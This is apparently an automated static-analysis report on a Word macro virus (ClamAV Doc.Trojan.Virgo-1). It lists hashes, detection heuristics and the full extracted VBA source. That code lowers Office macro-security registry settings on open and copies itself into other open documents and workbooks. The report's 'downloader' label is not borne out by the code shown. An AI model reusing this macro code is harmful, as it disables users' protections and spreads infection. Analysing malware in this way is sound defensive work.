Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 284589c30b703be2…

MALICIOUS

Office (OLE)

31.0 KB Created: 2003-08-15 18:27:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: ba53151cc17c3109265caf91459aac1b SHA-1: b40a9ace7c99d112312562a40f13e002b932c3a8 SHA-256: 284589c30b703be2b90beccc7914e320cb1b70ce45a203d315003fd765c5da28
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1059 Command and Scripting Interpreter

The sample contains VBA macros, including Document_open and Workbook_open, which are designed to execute automatically. Critical heuristics indicate the use of WScript.Shell and the Shell() function, suggesting an attempt to run external commands or scripts. The macro attempts to modify registry keys related to Office security settings, specifically writing '1' to 'HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\Level' and 'AccessVBOM', likely to bypass macro security warnings and enable execution. This behavior is consistent with a macro-based downloader aiming to establish a foothold or download further malicious content.

Heuristics 9

  • ClamAV: Doc.Trojan.Virgo-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Virgo-1
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    If Application.Version = "8.0" Then End
    Set Sys = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    If Application.Version = "8.0" Then End
    Set Sys = CreateObject("wscript.shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    On Error GoTo NextApp1
    Set Xl = GetObject(Class:="Excel.Application")
    While i < Xl.Workbooks.Count
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
    If Application.Version = "8.0" Then End
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Private Sub Workbook_open()
    If Application.Version = "8.0" Then End
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3516 bytes
SHA-256: 605738623314068642715569159529890f06ef4f3ef3d1bfbec4988ee121fb70
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
'Virgo
Const regpath = "HKEY_CURRENT_USER\Software\Microsoft\Office"
Const lvl = "Level"
Const Avb = "AccessVBOM"

Private Sub Document_open()
If Application.Version = "8.0" Then End
With System
.PrivateProfileString("", regpath & "\10.0\Word\Security", lvl) = 1&
If .PrivateProfileString("", regpath & "\10.0\Word\Security", Avb) <> 1& Then
.PrivateProfileString("", regpath & "\10.0\Word\Security", Avb) = 1&
WordBasic.FileExit dlg
End If
.PrivateProfileString("", regpath & "\10.0\Excel\Security", lvl) = 1&
.PrivateProfileString("", regpath & "\10.0\Excel\Security", Avb) = 1&
.PrivateProfileString("", regpath & "\9.0\Word\Security", lvl) = 1&
.PrivateProfileString("", regpath & "\9.0\Excel", lvl) = 1&
End With
End Sub
Private Sub Workbook_open()
If Application.Version = "8.0" Then End
Set Sys = CreateObject("wscript.shell")

With Sys
.Regwrite regpath & "\10.0\Word\Security\" & lvl, 1&, "Reg_DWORD"

End With

If .PrivateProfileString("", regpath & "\10.0\Word\Security", Avb) <> 1& Then
.PrivateProfileString("", regpath & "\10.0\Word\Security", Avb) = 1&
WordBasic.FileExit dlg
End If
.PrivateProfileString("", regpath & "\10.0\Excel\Security", lvl) = 1&
.PrivateProfileString("", regpath & "\10.0\Excel\Security", Avb) = 1&
.PrivateProfileString("", regpath & "\9.0\Word\Security", lvl) = 1&
.PrivateProfileString("", regpath & "\9.0\Excel", lvl) = 1&
End With

End Sub
Private Sub document_close()
While i < Documents.Count
    i = i + 1
    If Documents(i).Saved = False Then
        With Documents(i).VBProject.vbcomponents(1).codemodule
            If .Lines(1, 1) <> "'Virgo" Then
                .DeleteLines 1, .CountOfLines
                .addfromstring mycode
            End If
        End With
    End If
Wend
On Error GoTo NextApp1
Set Xl = GetObject(Class:="Excel.Application")
While i < Xl.Workbooks.Count
    i = i + 1
    If Xl.Workbooks(i).Saved = False Then
        With Xl.Workbooks(i).VBProject.vbcomponents("ThisWorkbook").codemodule
            If .Lines(1, 1) <> "'Virgo" Then
                .DeleteLines 1, .CountOfLines
                .addfromstring mycode
            End If
        End With
    End If
Wend
NextApp1:
End Sub

Private Sub Workbook_Deactivate()
While i < Workbooks.Count
    i = i + 1
    If Workbooks(i).Saved = False Then
        With Workbooks(i).VBProject.vbcomponents("ThisWorkbook").codemodule
            If .Lines(1, 1) <> "'Virgo" Then
                .DeleteLines 1, .CountOfLines
                .addfromstring mycode
            End If
        End With
    End If
Wend
On Error GoTo NextApp1
Set Wm = GetObject(Class:="Worm.Application")
While i < Wm.Documents.Count
    i = i + 1
    If Wm.Documents(i).Saved = False Then
        With Wm.Documents(i).VBProject.vbcomponents(1).codemodule
            If .Lines(1, 1) <> "'Virgo" Then
                .DeleteLines 1, .CountOfLines
                .addfromstring mycode
            End If
        End With
    End If
Wend
NextApp1:
End Sub
Private Function mycode()
With Application.VBE.SelectedVBComponent.codemodule
    mycode = .Lines(1, .CountOfLines)
End With
End Function